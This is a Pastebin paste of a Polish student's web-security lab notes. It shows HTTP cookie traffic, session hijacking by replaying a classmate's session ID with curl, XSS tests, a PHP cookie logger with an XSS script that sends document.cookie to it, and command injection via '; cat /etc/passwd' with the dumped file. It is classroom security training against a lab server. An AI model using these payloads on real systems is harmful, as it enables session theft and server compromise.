Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Zad 1
- 1. -
- 2. -
- 3. -
- 4. GET /1/ciasteczko.php HTTP/1.1
- Host: 192.168.158.106
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.158.106/1/
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- HTTP/1.1 200 OK
- Date: Thu, 18 Jan 2018 09:37:17 GMT
- Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.12 OpenSSL/1.0.1f
- X-Powered-By: PHP/5.5.9-1ubuntu4.12
- Set-Cookie: uzytkownik=jan; expires=Thu, 18-Jan-2018 09:37:35 GMT; Max-Age=18; path=/
- Vary: Accept-Encoding
- Content-Encoding: gzip
- Content-Length: 88
- Connection: close
- Content-Type: text/html
- 5. GET /1/ciasteczko.php HTTP/1.1
- Host: 192.168.158.106
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.158.106/1/
- Cookie: JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- HTTP/1.1 200 OK
- Date: Thu, 18 Jan 2018 09:49:59 GMT
- Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.12 OpenSSL/1.0.1f
- X-Powered-By: PHP/5.5.9-1ubuntu4.12
- Set-Cookie: uzytkownik=jan; expires=Thu, 18-Jan-2018 09:50:17 GMT; Max-Age=18; path=/
- Vary: Accept-Encoding
- Content-Encoding: gzip
- Content-Length: 88
- Connection: close
- Content-Type: text/html
- <html>
- <body>
- Ciasteczko 'uzytkownik' nie jest ustawione.
- </body>
- </html>
- ********************************************************
- GET /1/ HTTP/1.1
- Host: 192.168.158.106
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.158.106/
- Cookie: JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3; uzytkownik=jan
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- HTTP/1.1 200 OK
- Date: Thu, 18 Jan 2018 09:50:07 GMT
- Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.12 OpenSSL/1.0.1f
- Vary: Accept-Encoding
- Content-Encoding: gzip
- Content-Length: 421
- Connection: close
- Content-Type: text/html;charset=UTF-8
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
- <html>
- <head>
- <title>Index of /1</title>
- </head>
- <body>
- <h1>Index of /1</h1>
- <table>
- <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
- <tr><th colspan="5"><hr></th></tr>
- <tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
- <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="ciasteczko.php">ciasteczko.php</a></td><td align="right">2018-01-17 19:10 </td><td align="right">379 </td><td> </td></tr>
- <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="ciasteczko.txt">ciasteczko.txt</a></td><td align="right">2018-01-17 19:10 </td><td align="right">379 </td><td> </td></tr>
- <tr><th colspan="5"><hr></th></tr>
- </table>
- </body></html>
- *****************************************************
- GET /1/ciasteczko.php HTTP/1.1
- Host: 192.168.158.106
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.158.106/1/
- Cookie: JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3; uzytkownik=jan
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- HTTP/1.1 200 OK
- Date: Thu, 18 Jan 2018 09:50:08 GMT
- Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.12 OpenSSL/1.0.1f
- X-Powered-By: PHP/5.5.9-1ubuntu4.12
- Set-Cookie: uzytkownik=jan; expires=Thu, 18-Jan-2018 09:50:26 GMT; Max-Age=18; path=/
- Vary: Accept-Encoding
- Content-Encoding: gzip
- Content-Length: 102
- Connection: close
- Content-Type: text/html
- <html>
- <body>
- Ciasteczko 'uzytkownik' jest ustawione.<br>Wartosc to 'jan'
- </body>
- </html>
- ***************************************************************
- <html>
- <body>
- Ciasteczko 'uzytkownik' nie jest ustawione.
- </body>
- </html>
- 6.
- <?php
- $nazwa = "uzytkownik";
- $wartosc = "jan";
- setcookie($nazwa, $wartosc, time() + 18, "/");
- ?>
- <html>
- <body>
- <?php
- if(!isset($_COOKIE[$nazwa])) {
- echo "Ciasteczko '" . $nazwa . "' nie jest ustawione.";
- } else {
- echo "Ciasteczko '" . $nazwa . "' jest ustawione.<br>";
- echo "Wartosc to '" . $_COOKIE[$nazwa] . "'";
- }
- ?>
- </body>
- </html>
- 7. patrz 5
- 8. -
- Zad 2
- 1.
- Sesja rozpoczeta.
- JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3
- Kolor: przezroczysty
- 2.
- JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3
- Kolor: przezroczysty
- 3.
- Kolor: zolty.
- 4.
- JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3
- Kolor: zolty
- 5.
- Sesja zakonczona
- JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3
- Kolor:
- 6.
- curl --header "Cookie:JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3" http://192.168.158.106/2/2-wyswietl-zmienne.php
- C:\Users\student>curl --header "Cookie:JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3" http://192.168.158.106/2/2-wyswietl-zmienne.php
- <!DOCTYPE html>
- <html>
- <body>
- JSESSIONID=7a3iejqr25kl1oskl9hil4oeh3<br>Kolor: zolty<br>
- <br>
- <a href=".">Powrot</a>
- </body>
- </html>
- 7.
- JSESSIONID=ns0mgqb30ci7fuu39ca7vh4nq5 -- kolegi
- C:\Users\student>curl --header "Cookie:JSESSIONID=ns0mgqb30ci7fuu39ca7vh4nq5" http://192.168.158.106/2/2-wyswietl-zmienne.php
- <!DOCTYPE html>
- <html>
- <body>
- JSESSIONID=ns0mgqb30ci7fuu39ca7vh4nq5<br>Kolor: asdasd
- <br>
- <br>
- <a href=".">Powrot</a>
- </body>
- </html>
- 8.
- -
- Zad 3
- 1.
- Witaj Grzegorz.
- Masz 21 lat(a).
- 2. wyskoczyl xss
- 3.
- Witaj <script>alert(1)</script>.
- Masz 21 lat(a)
- 4. -
- Zad 4
- 1.
- Ciasteczko: 7a3iejqr25kl1oskl9hil4oeh3
- plik:
- <html>
- <body>
- <?php
- echo "Ciasteczko: " . $_COOKIE['JSESSIONID'] . "<br>";
- $handle=fopen("ciasteczka.txt","a");
- fputs($handle, date("Y-m-d H:i:s ") . $_SERVER["REMOTE_ADDR"] . " " . $_COOKIE['JSESSIONID']."\n");
- fclose($handle);
- ?>
- </body>
- 2.
- 2018-01-18 11:20:19 192.168.160.188 7a3iejqr25kl1oskl9hil4oeh3
- </html>
- 3.
- <script>
- S=new String();S="http://192.168158.106/4/przechwyc.php" + document.cookie;
- XSS=new Image();
- XSS.src=S;
- </script>
- 4.
- 2018-01-18 11:25:10 192.168.160.188 7a3iejqr25kl1oskl9hil4oeh3
- 5.???????
- Zad 5
- 1.
- serwer pingnolem:
- PING 192.168.158.106 (192.168.158.106) 56(84) bytes of data.
- 64 bytes from 192.168.158.106: icmp_seq=1 ttl=255 time=1.19 ms
- 64 bytes from 192.168.158.106: icmp_seq=2 ttl=255 time=1.33 ms
- --- 192.168.158.106 ping statistics ---
- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
- rtt min/avg/max/mdev = 1.196/1.264/1.332/0.068 ms
- 2.
- 192.168.158.106; cat /etc/passwd
- PING 192.168.158.106 (192.168.158.106) 56(84) bytes of data.
- 64 bytes from 192.168.158.106: icmp_seq=1 ttl=255 time=1.33 ms
- 64 bytes from 192.168.158.106: icmp_seq=2 ttl=255 time=1.38 ms
- --- 192.168.158.106 ping statistics ---
- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
- rtt min/avg/max/mdev = 1.333/1.357/1.382/0.044 ms
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:2:2:bin:/bin:/usr/sbin/nologin
- sys:x:3:3:sys:/dev:/usr/sbin/nologin
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/usr/sbin/nologin
- man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
- uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
- proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
- list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
- irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
- nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
- libuuid:x:100:101::/var/lib/libuuid:/bin/sh
- syslog:x:101:103::/home/syslog:/bin/false
- messagebus:x:102:105::/var/run/dbus:/bin/false
- avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
- whoopsie:x:104:110::/nonexistent:/bin/false
- usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false
- kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
- rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
- speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
- colord:x:109:117:colord colour management daemon,,,:/var/lib/colord:/bin/false
- lightdm:x:110:118:Light Display Manager:/var/lib/lightdm:/bin/false
- avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
- hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
- pulse:x:113:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false
- saned:x:114:123::/home/saned:/bin/false
- f5:x:1000:1000:Xubuntu,,,:/home/f5:/bin/bash
- bind:x:115:125::/var/cache/bind:/bin/false
- tomcat7:x:116:126::/usr/share/tomcat7:/bin/false
- dnsmasq:x:117:65534:dnsmasq,,,:/var/lib/misc:/bin/false
- freerad:x:118:127::/etc/freeradius:/bin/false
- mysql:x:119:128:MySQL Server,,,:/nonexistent:/bin/false
- sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin
- ntp:x:121:129::/home/ntp:/bin/false
- 3.
- PING 192.168.158.106 (192.168.158.106) 56(84) bytes of data.
- 64 bytes from 192.168.158.106: icmp_seq=1 ttl=255 time=1.46 ms
- 64 bytes from 192.168.158.106: icmp_seq=2 ttl=255 time=1.53 ms
- --- 192.168.158.106 ping statistics ---
- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
- rtt min/avg/max/mdev = 1.464/1.500/1.536/0.036 ms
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:2:2:bin:/bin:/usr/sbin/nologin
- sys:x:3:3:sys:/dev:/usr/sbin/nologin
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/usr/sbin/nologin
- man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
- uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
- proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
- list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
- irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
- nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
- libuuid:x:100:101::/var/lib/libuuid:/bin/sh
- syslog:x:101:103::/home/syslog:/bin/false
- messagebus:x:102:105::/var/run/dbus:/bin/false
- avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
- whoopsie:x:104:110::/nonexistent:/bin/false
- usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false
- kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
- rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
- speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
- colord:x:109:117:colord colour management daemon,,,:/var/lib/colord:/bin/false
- lightdm:x:110:118:Light Display Manager:/var/lib/lightdm:/bin/false
- avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
- hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
- pulse:x:113:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false
- saned:x:114:123::/home/saned:/bin/false
- f5:x:1000:1000:Xubuntu,,,:/home/f5:/bin/bash
- bind:x:115:125::/var/cache/bind:/bin/false
- tomcat7:x:116:126::/usr/share/tomcat7:/bin/false
- dnsmasq:x:117:65534:dnsmasq,,,:/var/lib/misc:/bin/false
- freerad:x:118:127::/etc/freeradius:/bin/false
- mysql:x:119:128:MySQL Server,,,:/nonexistent:/bin/false
- sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin
- ntp:x:121:129::/home/ntp:/bin/false
- TEN SERWER TEZ ODPOWIEDZIAL Z XSSEM!!!!!!!!!!!!!!
- Zad 6
- 1.
- plik testowy wewnatrz napis: test3
- 2.
- Transakcja odrzucona przez polityke BSS.
- ID: 10960292571254886830
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement